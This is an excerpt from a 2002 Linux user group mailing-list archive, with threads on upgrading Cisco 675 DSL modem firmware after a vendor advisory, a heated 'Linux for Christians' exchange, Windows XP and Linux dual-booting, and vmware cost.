http://www.cisco.com/warp/public/707/CBOS-DoS.shtml As > indicated, I called Qwest- the provider of my modem. The first person I > talked to transfered me to another department. Without talking to anyone > at all, just following the prompts provided by the voice mail system, I > was able to get right back where I originally started, with DSL Tech > support. This time I was told that they had just received a memo regarding > the updated software but that he didn't know anything more regarding the > memo. This was either 5-28 or 5-29. I emailed Cisco, based upon their > press release to attempt to get the update from them as I was unsuccessful > with getting anything from Qwest. Their response is the following website: > http://www.qwest.com/dsl/customerservice/modemsupport.html which as of > 9:00am 5-31-2002 indicated that they are working on getting the software > ready for use by their customers. This software has been available since > 5-23 from Cisco, but since Qwest DSL users purchase their modems from > Qwest, Cisco indicates that it is Qwest's responsibility to provide the > upgrades. I would have no problem with that if Qwest fulfilled this > responsibility with their customers, of which I am only one. I have > recontacted Cisco in regards to the unavailability of the upgrade on > Qwest's site and I seem to be in a support loop waiting for a human to > read my email. > > I believe that this deserves the attention of the Corporation Commission > as it represents a shortfall in the quality of service provided by a > public utility. > > > from 5-13-02 Eric Richardson wrote: Hi, Is there a way to get the CBOS 2.4.3 for a 675 and install it with Linux via the terminal port and a com program. I have tried connecting via modem serial port but I'm not really sure how to do the upgrade. I'm in routing mode so I don't think I can use the tftp procedure as the router doesn't have a IP address. Any help appreciated, Thanks for the help / encouragement. I wanted to send an update on my findings. I didn't know that the .exe format is a zip format - that is interesting. I found a place on line for the firmware. http://postyware.dyndns.org/cisco-firmware Note that the images are different based on the original CBOS version. In my case this was 2.2.0. I tried to use the tftp program to download the code but had no luck. I'm using Debian 2.2 so I was able to apt-get tftp. I installed minicom to communicate to the router but what I did wrong was I did not install lrzsz which contains the kermit, xyz/modem stuff. I thought perhaps the option were wrong so I went to look at the man pages for sx (send xmodem) and it was there so then I knew I was a dummy. I found that the lrzsz was recommended but not a dependency for minicom. Finally, after I had the right software but still no luck, I decided to try zmodem which didn't work and then ymodem which worked. I have no idea why xmodem didn't work but ymodem did. I upgraded to 2.4.4 and all seems well. I use FastQ and they are finding that the PPP mode rather than the routing mode is more stable so eventually they will be moving customers that direction. Is anybody using the filtering, NAT, DHCP with cisco and what features for the Linux firewall. Maybe this is better for another thread. Eric ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@pluglist.mybutt.net http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:20:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 07:20:15 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <15620.43611.959869.710388@magnitude.righthandgraphics.com> <3D056901.3060507@earthlink.net> <20020611055205.GA5358@neo.visicomp.com> Message-ID: <3D06071F.7000807@ttiltd.com> Isaac Sparrow wrote: >Can I be second in command? > >VIM rocks! > > Sure No prob. What would be cult without followers anyway? Greg From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:24:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 07:24:41 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <200206092132.00620.lists@ybnormal.org> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> Message-ID: <3D060829.8090904@ttiltd.com> I guess, whatever makes you happy and propagates linux. Although I think technology should be neutral and not associated with any particular religion. There is enough of flame wars going on out there without mixing the religions ones. RedHat vs. Debian Vim vs. Emacs KDE vs. Gnome you name it.... Now if we start mixing religion to it...... some may start screaming: "Microsoft take me away!" p.s. you will never here that from me tho. Greg Kurt Granroth wrote: >On Monday 10 June 2002 08:01 pm, Greg Furmanek wrote: > > >>You right I should probably get some of heathens like myslef and creat >>our own distro. >> >>I wonder what should I name it? and how many people will I piss of with >>this one. >> >> >>>>>Looking for something else on Google I stumbled on to The Linux for >>>>>Christians site! http://thelinuxlink.net/l4c/ Here's what it says: >>>>> >>>>> > >Y'know, for all the jokes that have been made about this, it appears to be a >serious and useful (if that's what you are looking for) site. I think too >many people here are viewing this as another Jesux (which I thought then >and still think now is/was a hoax). Jesux was an over-the-top parody of >the old "Unix for the Politically Correct" ("man" becomes "person", and so >on) using Christian instead of PC. What *this* site is is yet another >Special Interests Group with links to software related to their interest. >It's no different, really, than an animal lover offering links to >screensavers, wallpapers, pet interaction programs, and the like. Or any >low-budget advocacy group sharing info on using Linux to advance the cause. > >I actually did something a *little* similar not that long ago with my own >church in an attempt to get people to interact more online. I had some >tutorials and the like written up on how to use Linux and ogg vorbis (and >was getting into icecast) to allow church members spread around the country >and the world to still stay in touch. Hmm.. although in my case, midway >through my work, I was told by the Church Board that I was to cease and >desist any and all work I was doing since the Internet was evil (no joke) >and they thought people should spend less time online, not more. Ah well. > >Okay, got a little sidetracked... :-) > >My point is that while that site's content may not appeal to all people, >it's far from a joke. I just hope they have more luck than I had. > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:35:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 07:35:18 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> <200206102322.38624.voltage_spike@fastmail.fm> Message-ID: <3D060AA6.3010503@ttiltd.com> Heeeeeey....!!!! Put the cat down and step away from the keyboard! haha, just joking Internet is evil? Damn! sometimes I still feel like I am living in dark ages. When do these morons realize that technology is never good or bad! It is neutral and only what you do with it is good or bad! For what it's worth I could probably use some Christian distro and host pron on it. (LOL) How does this sound to you all? Whould that constitute blasphemy? Greg Voltage Spike wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >On Monday 10 June 2002 22:43, Kurt Granroth wrote: > > >>What *this* site is is yet another Special Interests Group with links >>to software related to their interest. It's no different, really, >>than an animal lover offering links to screensavers, wallpapers, pet >>interaction programs, and the like. Or any low-budget advocacy group >>sharing info on using Linux to advance the cause. >> >> > >Don't worry. We'd laugh at the cat lovers as well. No harm >intended. ;-) > > > >>I actually did something a *little* similar not that long ago with my >>own church in an attempt to get people to interact more online. I had >>some tutorials and the like written up on how to use Linux and ogg >>vorbis (and was getting into icecast) to allow church members spread >>around the country and the world to still stay in touch. >>Hmm.. although in my case, midway through my work, I was told by the >>Church Board that I was to cease and desist any and all work I was >>doing since the Internet was evil (no joke) and they thought people >>should spend less time online, not more. Ah well. >> >> > >"Evil"? I think I hear the words of an individual with little >experience. They need to keep in mind that the first amendment doesn't >just apply to them. > >In the case of spending more time offline, that is certainly a common >thread among society. However, if the religious leader of choice can >spend a couple of hours a day talking to people, then they should >respect my right to do the same. > >Your project sounds like it is dying to be placed on the PLUG website, >though. :-) > >- -- > Voltage Spike > ,,, > (. .) >- --ooO-(_)-Ooo-- >-----BEGIN PGP SIGNATURE----- >Version: GnuPG v1.0.6 (GNU/Linux) >Comment: For info see http://www.gnupg.org > >iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >+nl5JW8PnnIFGzFr+PUmJrs= >=xg3K >-----END PGP SIGNATURE----- > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:46:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Tue, 11 Jun 2002 07:46:35 -0700 Subject: Linux for Christians Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B46B@mail.int.fh.org> In your last post before this one YOU talked about mixing religion and Linux causing flame wars. Now in this message YOU proceed to fire the first shot. I think the Christians on this list have been extremely patient and tolerant to this thread. Please extend them the same courtesies and not make blanket accusations like calling Christians "morons". -----Original Message----- From: Greg [mailto:greg@ttiltd.com] Sent: Tuesday, June 11, 2002 7:35 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Linux for Christians Heeeeeey....!!!! Put the cat down and step away from the keyboard! haha, just joking Internet is evil? Damn! sometimes I still feel like I am living in dark ages. When do these morons realize that technology is never good or bad! It is neutral and only what you do with it is good or bad! For what it's worth I could probably use some Christian distro and host pron on it. (LOL) How does this sound to you all? Whould that constitute blasphemy? Greg Voltage Spike wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >On Monday 10 June 2002 22:43, Kurt Granroth wrote: > > >>What *this* site is is yet another Special Interests Group with links >>to software related to their interest. It's no different, really, >>than an animal lover offering links to screensavers, wallpapers, pet >>interaction programs, and the like. Or any low-budget advocacy group >>sharing info on using Linux to advance the cause. >> >> > >Don't worry. We'd laugh at the cat lovers as well. No harm >intended. ;-) > > > >>I actually did something a *little* similar not that long ago with my >>own church in an attempt to get people to interact more online. I had >>some tutorials and the like written up on how to use Linux and ogg >>vorbis (and was getting into icecast) to allow church members spread >>around the country and the world to still stay in touch. >>Hmm.. although in my case, midway through my work, I was told by the >>Church Board that I was to cease and desist any and all work I was >>doing since the Internet was evil (no joke) and they thought people >>should spend less time online, not more. Ah well. >> >> > >"Evil"? I think I hear the words of an individual with little >experience. They need to keep in mind that the first amendment doesn't >just apply to them. > >In the case of spending more time offline, that is certainly a common >thread among society. However, if the religious leader of choice can >spend a couple of hours a day talking to people, then they should >respect my right to do the same. > >Your project sounds like it is dying to be placed on the PLUG website, >though. :-) > >- -- > Voltage Spike > ,,, > (. .) >- --ooO-(_)-Ooo-- >-----BEGIN PGP SIGNATURE----- >Version: GnuPG v1.0.6 (GNU/Linux) >Comment: For info see http://www.gnupg.org > >iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >+nl5JW8PnnIFGzFr+PUmJrs= >=xg3K >-----END PGP SIGNATURE----- > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:56:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 07:56:42 -0700 Subject: Linux for Christians References: <4A8DFDA6B395D411A11B00508BEE23FE76B46B@mail.int.fh.org> Message-ID: <3D060FAA.7090507@ttiltd.com> It was not ment to be blanket accusation. It was directed only to the close minded ones that blame technology instead the people who are responsible. Greg Tom Achtenberg wrote: >In your last post before this one YOU talked about mixing religion and Linux causing flame wars. Now in this message YOU proceed to fire the first shot. I think the Christians on this list have been extremely patient and tolerant to this thread. Please extend them the same courtesies and not make blanket accusations like calling Christians "morons". > >-----Original Message----- >From: Greg [mailto:greg@ttiltd.com] >Sent: Tuesday, June 11, 2002 7:35 AM >To: plug-discuss@lists.plug.phoenix.az.us >Subject: Re: Linux for Christians > > >Heeeeeey....!!!! > >Put the cat down and step away from the keyboard! >haha, just joking > >Internet is evil? >Damn! sometimes I still feel like I am living in dark ages. >When do these morons realize that technology is never good or bad! >It is neutral and only what you do with it is good or bad! > >For what it's worth I could probably use some Christian distro and host >pron on it. (LOL) >How does this sound to you all? Whould that constitute blasphemy? > >Greg > > >Voltage Spike wrote: > > > >>-----BEGIN PGP SIGNED MESSAGE----- >>Hash: SHA1 >> >>On Monday 10 June 2002 22:43, Kurt Granroth wrote: >> >> >> >> >>>What *this* site is is yet another Special Interests Group with links >>>to software related to their interest. It's no different, really, >>>than an animal lover offering links to screensavers, wallpapers, pet >>>interaction programs, and the like. Or any low-budget advocacy group >>>sharing info on using Linux to advance the cause. >>> >>> >>> >>> >>Don't worry. We'd laugh at the cat lovers as well. No harm >>intended. ;-) >> >> >> >> >> >>>I actually did something a *little* similar not that long ago with my >>>own church in an attempt to get people to interact more online. I had >>>some tutorials and the like written up on how to use Linux and ogg >>>vorbis (and was getting into icecast) to allow church members spread >>>around the country and the world to still stay in touch. >>>Hmm.. although in my case, midway through my work, I was told by the >>>Church Board that I was to cease and desist any and all work I was >>>doing since the Internet was evil (no joke) and they thought people >>>should spend less time online, not more. Ah well. >>> >>> >>> >>> >>"Evil"? I think I hear the words of an individual with little >>experience. They need to keep in mind that the first amendment doesn't >>just apply to them. >> >>In the case of spending more time offline, that is certainly a common >>thread among society. However, if the religious leader of choice can >>spend a couple of hours a day talking to people, then they should >>respect my right to do the same. >> >>Your project sounds like it is dying to be placed on the PLUG website, >>though. :-) >> >>- -- >> Voltage Spike >> ,,, >> (. .) >>- --ooO-(_)-Ooo-- >>-----BEGIN PGP SIGNATURE----- >>Version: GnuPG v1.0.6 (GNU/Linux) >>Comment: For info see http://www.gnupg.org >> >>iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >>+nl5JW8PnnIFGzFr+PUmJrs= >>=xg3K >>-----END PGP SIGNATURE----- >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> >> >> >> > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 20:15:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Thomas Mondoshawan Tate) Date: Mon, 10 Jun 2002 13:15:02 -0700 Subject: Linux for Christians In-Reply-To: <3D060AA6.3010503@ttiltd.com> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> <200206102322.38624.voltage_spike@fastmail.fm> <3D060AA6.3010503@ttiltd.com> Message-ID: <20020610201502.GA182@crystaldragon> /------------------\ | PLEASE | | DO | | NOT | | FEED | | THE | | TROLLS | \------------------/ | | | | | | @ _\|/_____|__|______\__ On Tue, Jun 11, 2002 at 07:35:18AM -0700, Greg wrote: > Heeeeeey....!!!! > > Put the cat down and step away from the keyboard! > haha, just joking > > Internet is evil? > Damn! sometimes I still feel like I am living in dark ages. > When do these morons realize that technology is never good or bad! > It is neutral and only what you do with it is good or bad! > > For what it's worth I could probably use some Christian distro and host > pron on it. (LOL) > How does this sound to you all? Whould that constitute blasphemy? > > Greg > > > Voltage Spike wrote: > > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >On Monday 10 June 2002 22:43, Kurt Granroth wrote: > > > > > >>What *this* site is is yet another Special Interests Group with links > >>to software related to their interest. It's no different, really, > >>than an animal lover offering links to screensavers, wallpapers, pet > >>interaction programs, and the like. Or any low-budget advocacy group > >>sharing info on using Linux to advance the cause. > >> > >> > > > >Don't worry. We'd laugh at the cat lovers as well. No harm > >intended. ;-) > > > > > > > >>I actually did something a *little* similar not that long ago with my > >>own church in an attempt to get people to interact more online. I had > >>some tutorials and the like written up on how to use Linux and ogg > >>vorbis (and was getting into icecast) to allow church members spread > >>around the country and the world to still stay in touch. > >>Hmm.. although in my case, midway through my work, I was told by the > >>Church Board that I was to cease and desist any and all work I was > >>doing since the Internet was evil (no joke) and they thought people > >>should spend less time online, not more. Ah well. > >> > >> > > > >"Evil"? I think I hear the words of an individual with little > >experience. They need to keep in mind that the first amendment doesn't > >just apply to them. > > > >In the case of spending more time offline, that is certainly a common > >thread among society. However, if the religious leader of choice can > >spend a couple of hours a day talking to people, then they should > >respect my right to do the same. > > > >Your project sounds like it is dying to be placed on the PLUG website, > >though. :-) > > > >- -- > > Voltage Spike > > ,,, > > (. .) > >- --ooO-(_)-Ooo-- > >-----BEGIN PGP SIGNATURE----- > >Version: GnuPG v1.0.6 (GNU/Linux) > >Comment: For info see http://www.gnupg.org > > > >iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN > >+nl5JW8PnnIFGzFr+PUmJrs= > >=xg3K > >-----END PGP SIGNATURE----- > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.dyndns.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:27:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Tue, 11 Jun 2002 08:27:56 -0700 Subject: Linux for Christians Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B46C@mail.int.fh.org> There are lots of closed minded non Christians who feel the internet is evil too. We need to educate them all. I agree, technology itself is not good or bad, it is how it is used and the users need to take personal responsibility as to how they use it within their own beliefs. -----Original Message----- From: Greg [mailto:greg@ttiltd.com] Sent: Tuesday, June 11, 2002 7:57 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Linux for Christians It was not ment to be blanket accusation. It was directed only to the close minded ones that blame technology instead the people who are responsible. Greg Tom Achtenberg wrote: >In your last post before this one YOU talked about mixing religion and Linux causing flame wars. Now in this message YOU proceed to fire the first shot. I think the Christians on this list have been extremely patient and tolerant to this thread. Please extend them the same courtesies and not make blanket accusations like calling Christians "morons". > >-----Original Message----- >From: Greg [mailto:greg@ttiltd.com] >Sent: Tuesday, June 11, 2002 7:35 AM >To: plug-discuss@lists.plug.phoenix.az.us >Subject: Re: Linux for Christians > > >Heeeeeey....!!!! > >Put the cat down and step away from the keyboard! >haha, just joking > >Internet is evil? >Damn! sometimes I still feel like I am living in dark ages. >When do these morons realize that technology is never good or bad! >It is neutral and only what you do with it is good or bad! > >For what it's worth I could probably use some Christian distro and host >pron on it. (LOL) >How does this sound to you all? Whould that constitute blasphemy? > >Greg > > >Voltage Spike wrote: > > > >>-----BEGIN PGP SIGNED MESSAGE----- >>Hash: SHA1 >> >>On Monday 10 June 2002 22:43, Kurt Granroth wrote: >> >> >> >> >>>What *this* site is is yet another Special Interests Group with links >>>to software related to their interest. It's no different, really, >>>than an animal lover offering links to screensavers, wallpapers, pet >>>interaction programs, and the like. Or any low-budget advocacy group >>>sharing info on using Linux to advance the cause. >>> >>> >>> >>> >>Don't worry. We'd laugh at the cat lovers as well. No harm >>intended. ;-) >> >> >> >> >> >>>I actually did something a *little* similar not that long ago with my >>>own church in an attempt to get people to interact more online. I had >>>some tutorials and the like written up on how to use Linux and ogg >>>vorbis (and was getting into icecast) to allow church members spread >>>around the country and the world to still stay in touch. >>>Hmm.. although in my case, midway through my work, I was told by the >>>Church Board that I was to cease and desist any and all work I was >>>doing since the Internet was evil (no joke) and they thought people >>>should spend less time online, not more. Ah well. >>> >>> >>> >>> >>"Evil"? I think I hear the words of an individual with little >>experience. They need to keep in mind that the first amendment doesn't >>just apply to them. >> >>In the case of spending more time offline, that is certainly a common >>thread among society. However, if the religious leader of choice can >>spend a couple of hours a day talking to people, then they should >>respect my right to do the same. >> >>Your project sounds like it is dying to be placed on the PLUG website, >>though. :-) >> >>- -- >> Voltage Spike >> ,,, >> (. .) >>- --ooO-(_)-Ooo-- >>-----BEGIN PGP SIGNATURE----- >>Version: GnuPG v1.0.6 (GNU/Linux) >>Comment: For info see http://www.gnupg.org >> >>iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >>+nl5JW8PnnIFGzFr+PUmJrs= >>=xg3K >>-----END PGP SIGNATURE----- >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> >> >> >> > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:35:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 08:35:19 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> <200206102322.38624.voltage_spike@fastmail.fm> <3D060AA6.3010503@ttiltd.com> <20020610201502.GA182@crystaldragon> Message-ID: <3D0618B7.7030700@ttiltd.com> LOL, thanks. This was little trolling post. Thomas Mondoshawan Tate wrote: > /------------------\ > | PLEASE | > | DO | > | NOT | > | FEED | > | THE | > | TROLLS | > \------------------/ > | | > | | > | | @ >_\|/_____|__|______\__ > >On Tue, Jun 11, 2002 at 07:35:18AM -0700, Greg wrote: > > >>Heeeeeey....!!!! >> >>Put the cat down and step away from the keyboard! >>haha, just joking >> >>Internet is evil? >>Damn! sometimes I still feel like I am living in dark ages. >>When do these morons realize that technology is never good or bad! >>It is neutral and only what you do with it is good or bad! >> >>For what it's worth I could probably use some Christian distro and host >>pron on it. (LOL) >>How does this sound to you all? Whould that constitute blasphemy? >> >>Greg >> >> >>Voltage Spike wrote: >> >> >> >>>-----BEGIN PGP SIGNED MESSAGE----- >>>Hash: SHA1 >>> >>>On Monday 10 June 2002 22:43, Kurt Granroth wrote: >>> >>> >>> >>> >>>>What *this* site is is yet another Special Interests Group with links >>>>to software related to their interest. It's no different, really, >>>>than an animal lover offering links to screensavers, wallpapers, pet >>>>interaction programs, and the like. Or any low-budget advocacy group >>>>sharing info on using Linux to advance the cause. >>>> >>>> >>>> >>>> >>>Don't worry. We'd laugh at the cat lovers as well. No harm >>>intended. ;-) >>> >>> >>> >>> >>> >>>>I actually did something a *little* similar not that long ago with my >>>>own church in an attempt to get people to interact more online. I had >>>>some tutorials and the like written up on how to use Linux and ogg >>>>vorbis (and was getting into icecast) to allow church members spread >>>>around the country and the world to still stay in touch. >>>>Hmm.. although in my case, midway through my work, I was told by the >>>>Church Board that I was to cease and desist any and all work I was >>>>doing since the Internet was evil (no joke) and they thought people >>>>should spend less time online, not more. Ah well. >>>> >>>> >>>> >>>> >>>"Evil"? I think I hear the words of an individual with little >>>experience. They need to keep in mind that the first amendment doesn't >>>just apply to them. >>> >>>In the case of spending more time offline, that is certainly a common >>>thread among society. However, if the religious leader of choice can >>>spend a couple of hours a day talking to people, then they should >>>respect my right to do the same. >>> >>>Your project sounds like it is dying to be placed on the PLUG website, >>>though. :-) >>> >>>- -- >>> Voltage Spike >>> ,,, >>> (. .) >>>- --ooO-(_)-Ooo-- >>>-----BEGIN PGP SIGNATURE----- >>>Version: GnuPG v1.0.6 (GNU/Linux) >>>Comment: For info see http://www.gnupg.org >>> >>>iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >>>+nl5JW8PnnIFGzFr+PUmJrs= >>>=xg3K >>>-----END PGP SIGNATURE----- >>> >>>________________________________________________ >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>post to the list quickly and you use Netscape to write mail. >>> >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>> >>> >>> >>> >>> >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:41:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Tue, 11 Jun 2002 08:41:26 -0700 Subject: XP/Linux dual boot In-Reply-To: <000501c21125$040fc640$6501a8c0@ph.cox.net> References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <000501c21125$040fc640$6501a8c0@ph.cox.net> Message-ID: <200206110841.29148.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I would install XP in a fat32 partition. Don't use NTFS. As far as I know, you can't modify the fat32 partition that XP is on, or it will break it's crc consistency and it won't boot. I don't know if that means the partition table in general or not. You might try getting a copy of partition magic 7 and use that. If you don't have it, I can loan you a copy of the rescue disks. nathan Am Dienstag 11 Juni 2002 01:50 vormittags schrieb Matt: > So today I went out to Fry's and bought Windows XP, because I need Windows > for a few things. I installed XP, and all went well. I prodded it for a few > minutes, then restarted with my SuSE Linux 8.0 CD in. I just went with the > default settings it gave me. It said it was going to delete the NTFS > partition, but I'd heard Linux works well with Windows, so I assumed that > the folks at SuSE knew what they were doing. Apparently I was wrong. Linux > installed fine, but when I restarted the computer to see if all was OK, I > found out that it wasn't. Windows shows up as an option in LILO, but it > merely goes to a black screen with white text that says "Loading > Windows..." What is it that I did wrong, and what should I do after I fdisk > it all and start repeating the same process? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BhopQ7yNnsYcupwRAtp2AJsHdd5d1wyIysWAnuvpVtqRWL96CgCfbyTe 757NsbB3WVwJzPxIsWhjcpc= =8O5p -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:47:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Tue, 11 Jun 2002 08:47:11 -0700 Subject: Windows and Linux In-Reply-To: <3D05E163.2F12A01A@georgetoft.com> References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <200206102200.00787.plug@the-arcanum.org> <3D05E163.2F12A01A@georgetoft.com> Message-ID: <200206110847.11590.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Ouch! That's a little our of my price range! Am Dienstag 11 Juni 2002 04:39 vormittags schrieb George Toft: > Hi Nathan, > > The price for vmware is $299. > > George > > Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > George, > > How much did you pay for vmware? > > > > Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: > > > My experience with vmware is very positive. Issues with vmware: > > > - I cannot listen to Internet Radio at kccnfm100.com. Even with four > > > new software > > > downloads, three reboots (virtual), and 2 crashes, all I got was > > > static. - vmware does not do streaming media via USB. Want to use a > > > USB camera? Forget it. > > > - vmware with sound is usually preceeded with a loud pop. > > > - vmware does not support directx very well (if at all). > > > > > > Other than that, it lets me do my taxes, browse using IE 5.5, and gives > > > me blue screens, > > > just like the real thing. > > > > > > George > > > > > > Mike Porter wrote: > > > > Ok, this is intriguing to me. I am looking to migrate my house over > > > > to Linux, but I have some apps for which I cannot find comparable > > > > *nix substitutes. (Believe it or not, the request to move torward > > > > Linux is at my 